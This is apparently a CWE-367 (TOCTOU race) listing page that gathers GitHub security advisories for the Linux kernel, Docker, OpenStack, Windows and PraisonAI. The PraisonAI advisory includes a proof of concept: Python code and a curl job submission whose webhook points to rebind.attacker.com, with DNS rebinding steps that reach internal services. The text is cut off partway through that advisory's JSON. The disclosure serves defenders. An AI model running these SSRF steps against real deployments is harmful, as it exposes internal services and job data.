CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1317 vulnerabilities reference this CWE, most recent first.
GHSA-RCJV-J3V6-R6CV
Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2024-12-24 18:30In the Linux kernel, the following vulnerability has been resolved:
drm: Fix use-after-free read in drm_getunique()
There is a time-of-check-to-time-of-use error in drm_getunique() due to retrieving file_priv->master prior to locking the device's master mutex.
An example can be seen in the crash report of the use-after-free error found by Syzbot: https://syzkaller.appspot.com/bug?id=148d2f1dfac64af52ffd27b661981a540724f803
In the report, the master pointer was used after being freed. This is because another process had acquired the device's master mutex in drm_setmaster_ioctl(), then overwrote fpriv->master in drm_new_set_master(). The old value of fpriv->master was subsequently freed before the mutex was unlocked.
To fix this, we lock the device's master mutex before retrieving the pointer from from fpriv->master. This patch passes the Syzbot reproducer test.
{
"affected": [],
"aliases": [
"CVE-2021-47280"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-21T15:15:16Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: Fix use-after-free read in drm_getunique()\n\nThere is a time-of-check-to-time-of-use error in drm_getunique() due\nto retrieving file_priv-\u003emaster prior to locking the device\u0027s master\nmutex.\n\nAn example can be seen in the crash report of the use-after-free error\nfound by Syzbot:\nhttps://syzkaller.appspot.com/bug?id=148d2f1dfac64af52ffd27b661981a540724f803\n\nIn the report, the master pointer was used after being freed. This is\nbecause another process had acquired the device\u0027s master mutex in\ndrm_setmaster_ioctl(), then overwrote fpriv-\u003emaster in\ndrm_new_set_master(). The old value of fpriv-\u003emaster was subsequently\nfreed before the mutex was unlocked.\n\nTo fix this, we lock the device\u0027s master mutex before retrieving the\npointer from from fpriv-\u003emaster. This patch passes the Syzbot\nreproducer test.",
"id": "GHSA-rcjv-j3v6-r6cv",
"modified": "2024-12-24T18:30:48Z",
"published": "2024-05-21T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47280"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/17dab9326ff263c62dab1dbac4492e2938a049e4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/491d52e0078860b33b6c14f0a7ac74ca1b603bd6"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7d233ba700ceb593905ea82b42dadb4ec8ef85e9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b246b4c70c1250e7814f409b243000f9c0bf79a3"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b436acd1cf7fac0ba987abd22955d98025c80c2b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f773f8cccac13c7e7bbd9182e7996c727742488e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RFFW-7GXG-MHHC
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04While waiting for a response to a callback or listener request, non-secure clients can change permissions to shared memory buffers used by HLOS Invoke Call to secure kernel in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking
{
"affected": [],
"aliases": [
"CVE-2020-11298"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-09T07:15:00Z",
"severity": "HIGH"
},
"details": "While waiting for a response to a callback or listener request, non-secure clients can change permissions to shared memory buffers used by HLOS Invoke Call to secure kernel in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wired Infrastructure and Networking",
"id": "GHSA-rffw-7gxg-mhhc",
"modified": "2022-05-24T19:04:41Z",
"published": "2022-05-24T19:04:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11298"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/june-2021-bulletin"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RFM2-F94J-QHJP
Vulnerability from github – Published: 2024-04-22 12:30 – Updated: 2024-07-03 20:18An issue in OpenStack Storlets yoga-eom allows a remote attacker to execute arbitrary code via the gateway.py component.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "storlets"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0.0rc1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28717"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-22T15:56:33Z",
"nvd_published_at": "2024-04-22T12:15:07Z",
"severity": "HIGH"
},
"details": "An issue in OpenStack Storlets yoga-eom allows a remote attacker to execute arbitrary code via the gateway.py component.",
"id": "GHSA-rfm2-f94j-qhjp",
"modified": "2024-07-03T20:18:57Z",
"published": "2024-04-22T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28717"
},
{
"type": "WEB",
"url": "https://github.com/openstack/storlets/commit/5ad58804af885db3eb7a78bea5000c401eeeb70e"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/storlets/+bug/2047723"
},
{
"type": "WEB",
"url": "https://gist.github.com/Fewword/f098d8d6375ac25e27b18c0e57be532f"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/storlets"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenStack Storlets arbitrary code execution vulnerability"
}
GHSA-RFP3-RJ7C-P45H
Vulnerability from github – Published: 2026-09-08 18:32 – Updated: 2026-09-08 18:32Time-of-check time-of-use (toctou) race condition in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-69440"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T18:19:08Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use (toctou) race condition in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-rfp3-rj7c-p45h",
"modified": "2026-09-08T18:32:36Z",
"published": "2026-09-08T18:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69440"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69440"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RG2X-37C3-W2RH
Vulnerability from github – Published: 2026-05-18 17:53 – Updated: 2026-06-12 21:59Summary
A race condition during docker cp mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service.
Details
When copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination is created inside the container root and then a bind mount is attached using the container-relative path resolved to an absolute host path.
Between mountpoint creation and the mount() syscall, a process running inside the container can replace the destination (or a parent path component) with a symlink pointing to an arbitrary location on the host. The mount() syscall follows the symlink, causing the volume to be bind-mounted onto an arbitrary host path instead of the intended container path.
Impact
A malicious container can redirect a volume bind mount to an arbitrary host path. The impact depends on the volume content and mount options:
- If the volume is writable, arbitrary host files at the redirected path could be overwritten with the volume's contents.
- If the volume is read-only, the host path is masked by the mount for the duration of the operation, causing denial of service.
- In all cases the mount is temporary (torn down after the
docker cpcompletes), but the effects of any writes persist.
Conditions for exploitation
- A container must have at least one volume mount.
- A process inside the container must be able to rapidly create and swap symlinks at the volume mount destination path.
- An operator must initiate a
docker cpinto that container, or call thePUT /containers/{id}/archiveorHEAD /containers/{id}/archiveAPI endpoints.
Not affected
- Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.
Workarounds
- Only run containers from trusted images.
- Avoid using
docker cpwith untrusted running containers. - Use authorization plugins to restrict access to the archive API endpoints (
PUT /containers/{id}/archive,HEAD /containers/{id}/archive).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "28.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/moby/moby/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0-beta.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/moby/moby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "28.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42306"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:53:08Z",
"nvd_published_at": "2026-06-12T19:16:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA race condition during `docker cp` mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service.\n\n## Details\n\nWhen copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination is created inside the container root and then a bind mount is attached using the container-relative path resolved to an absolute host path.\n\nBetween mountpoint creation and the `mount()` syscall, a process running inside the container can replace the destination (or a parent path component) with a symlink pointing to an arbitrary location on the host. The `mount()` syscall follows the symlink, causing the volume to be bind-mounted onto an arbitrary host path instead of the intended container path.\n\n## Impact\n\nA malicious container can redirect a volume bind mount to an arbitrary host path. The impact depends on the volume content and mount options:\n\n- If the volume is writable, arbitrary host files at the redirected path could be overwritten with the volume\u0027s contents.\n- If the volume is read-only, the host path is masked by the mount for the duration of the operation, causing denial of service.\n- In all cases the mount is temporary (torn down after the `docker cp` completes), but the effects of any writes persist.\n\n### Conditions for exploitation\n\n- A container must have at least one volume mount.\n- A process inside the container must be able to rapidly create and swap symlinks at the volume mount destination path.\n- An operator must initiate a `docker cp` into that container, or call the `PUT /containers/{id}/archive` or `HEAD /containers/{id}/archive` API endpoints.\n\n### Not affected\n\n- Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.\n\n## Workarounds\n\n- Only run containers from trusted images.\n- Avoid using `docker cp` with untrusted running containers.\n- Use authorization plugins to restrict access to the archive API endpoints (`PUT /containers/{id}/archive`, `HEAD /containers/{id}/archive`).",
"id": "GHSA-rg2x-37c3-w2rh",
"modified": "2026-06-12T21:59:32Z",
"published": "2026-05-18T17:53:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-rg2x-37c3-w2rh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42306"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Docker: Race condition in docker cp allows bind mount redirection to host path"
}
GHSA-RG55-JVW9-P7M7
Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-08-25 15:32In the Linux kernel, the following vulnerability has been resolved:
sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL
The SCTP_SENDALL path in sctp_sendmsg() iterates ep->asocs with list_for_each_entry_safe(), which caches the next entry in @tmp before the loop body runs. The body calls sctp_sendmsg_to_asoc(), which may drop the socket lock inside sctp_wait_for_sndbuf().
While the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the association cached in @tmp, migrating it to a new endpoint via sctp_sock_migrate() (list_del_init() + list_add_tail() to newep->asocs), and optionally close the new socket which frees the association via kfree_rcu(). The cached @tmp can also be freed by a network ABORT for that association, processed in softirq while the lock is dropped.
sctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock via the "sk != asoc->base.sk" and "asoc->base.dead" checks, but nothing revalidates @tmp. After a successful return, the iterator advances to the stale @tmp, yielding either a use-after-free (if the peeled socket was closed) or a list-walk onto the new endpoint's list head (type confusion of &newep->asocs as a struct sctp_association *).
Both are reachable from CapEff=0; the type-confusion path gives controlled indirect call via the outqueue.sched->init_sid pointer.
Fix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc() returns. @asoc is known to still be on ep->asocs at that point: the only callers that list_del an association from ep->asocs are sctp_association_free() (which sets asoc->base.dead) and sctp_assoc_migrate() (which changes asoc->base.sk), and sctp_wait_for_sndbuf() checks both under the lock before any successful return; a tripped check propagates as err < 0 and the loop bails before the re-derive.
The SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the loop hits 'continue' before sctp_sendmsg_to_asoc() is ever called, so the @tmp cached by list_for_each_entry_safe() still covers the lock-held free that ba59fb027307 ("sctp: walk the list of asoc safely") was added for.
{
"affected": [],
"aliases": [
"CVE-2026-46227"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-416"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T10:16:38Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL\n\nThe SCTP_SENDALL path in sctp_sendmsg() iterates ep-\u003easocs with\nlist_for_each_entry_safe(), which caches the next entry in @tmp before\nthe loop body runs. The body calls sctp_sendmsg_to_asoc(), which may\ndrop the socket lock inside sctp_wait_for_sndbuf().\n\nWhile the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the\nassociation cached in @tmp, migrating it to a new endpoint via\nsctp_sock_migrate() (list_del_init() + list_add_tail() to\nnewep-\u003easocs), and optionally close the new socket which frees the\nassociation via kfree_rcu(). The cached @tmp can also be freed by a\nnetwork ABORT for that association, processed in softirq while the\nlock is dropped.\n\nsctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock\nvia the \"sk != asoc-\u003ebase.sk\" and \"asoc-\u003ebase.dead\" checks, but nothing\nrevalidates @tmp. After a successful return, the iterator advances to\nthe stale @tmp, yielding either a use-after-free (if the peeled socket\nwas closed) or a list-walk onto the new endpoint\u0027s list head (type\nconfusion of \u0026newep-\u003easocs as a struct sctp_association *).\n\nBoth are reachable from CapEff=0; the type-confusion path gives\ncontrolled indirect call via the outqueue.sched-\u003einit_sid pointer.\n\nFix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc()\nreturns. @asoc is known to still be on ep-\u003easocs at that point: the\nonly callers that list_del an association from ep-\u003easocs are\nsctp_association_free() (which sets asoc-\u003ebase.dead) and\nsctp_assoc_migrate() (which changes asoc-\u003ebase.sk), and\nsctp_wait_for_sndbuf() checks both under the lock before any\nsuccessful return; a tripped check propagates as err \u003c 0 and the loop\nbails before the re-derive.\n\nThe SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the\nloop hits \u0027continue\u0027 before sctp_sendmsg_to_asoc() is ever called, so\nthe @tmp cached by list_for_each_entry_safe() still covers the\nlock-held free that ba59fb027307 (\"sctp: walk the list of asoc\nsafely\") was added for.",
"id": "GHSA-rg55-jvw9-p7m7",
"modified": "2026-08-25T15:32:34Z",
"published": "2026-05-28T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46227"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46227.json"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f3a3f0b406b4b7eb3cea35a23fa2bf170848b104"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c9dadb31f36045a8cb65df4bd75e7237ef21a4b5"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/bf0f40d8107e2ce827521968dc6926f3e13728ae"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/abb5f36771cc4c05899b34000829a787572a8817"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6187a172d6ed57d6b2c327836e4407c6456e639d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1bfb06ecb00f7fdf35dba8e8f2877346cbe5e078"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0dbc8cde64280fc37cdd678cced34eaf96cfb197"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0c7b55974f97b78d1109025eadf084e74cbf330f"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482564"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-46227"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59149"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59148"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59147"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59146"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59145"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59143"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59142"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36956"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36349"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36348"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34094"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33899"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27735"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27731"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26563"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26535"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26515"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26462"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RG5Q-PP8P-F7JM
Vulnerability from github – Published: 2026-08-25 14:59 – Updated: 2026-08-25 14:59Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS
lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
1. Submit a job with webhook_url pointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (gaierror → pass)
2. Update DNS to point that hostname to 127.0.0.1 or another private IP
3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent
to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself — the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55537"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-705",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:59:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` \u2014 performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n resolve (NXDOMAIN) \u2192 validation passes (`gaierror` \u2192 `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh \u2192 POST sent\n to the internal IP\n\n### Details\n\n**Flaw 1 \u2014 Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n ...\n try:\n ip = socket.gethostbyname(hostname)\n ip_obj = ipaddress.ip_address(ip)\n if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n raise ValueError(\"Webhook URL resolves to private network address\")\n except socket.gaierror:\n pass # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 \u2014 Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n async with httpx.AsyncClient(timeout=30.0) as client:\n response = await client.post(\n job.webhook_url, # \u003c-- fresh DNS resolution here, not cached from validation\n json=payload,\n ...\n )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0 Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n Validation: socket.gethostbyname(\"rebind.attacker.com\") \u2192 gaierror (NXDOMAIN)\n Result: except socket.gaierror: pass \u2192 ACCEPTED\n\nT=5 Attacker updates DNS: rebind.attacker.com A \u2192 127.0.0.1 (TTL=60)\n\nT=60 Job completes. _send_webhook() fires:\n httpx.post(\"http://rebind.attacker.com/cb\")\n DNS: rebind.attacker.com \u2192 127.0.0.1\n POST reaches 127.0.0.1 \u2192 SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** \u2014 the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 \u2014 Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n req = JobSubmitRequest(\n prompt=\"hello\",\n webhook_url=\"http://rebind.attacker.com/callback\"\n )\n # No exception raised \u2014 URL accepted despite NXDOMAIN\n print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 \u2014 Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n # httpx resolves DNS here, not using any cached result from validation\n async with httpx.AsyncClient() as client:\n # This call resolves \"rebind.attacker.com\" fresh at 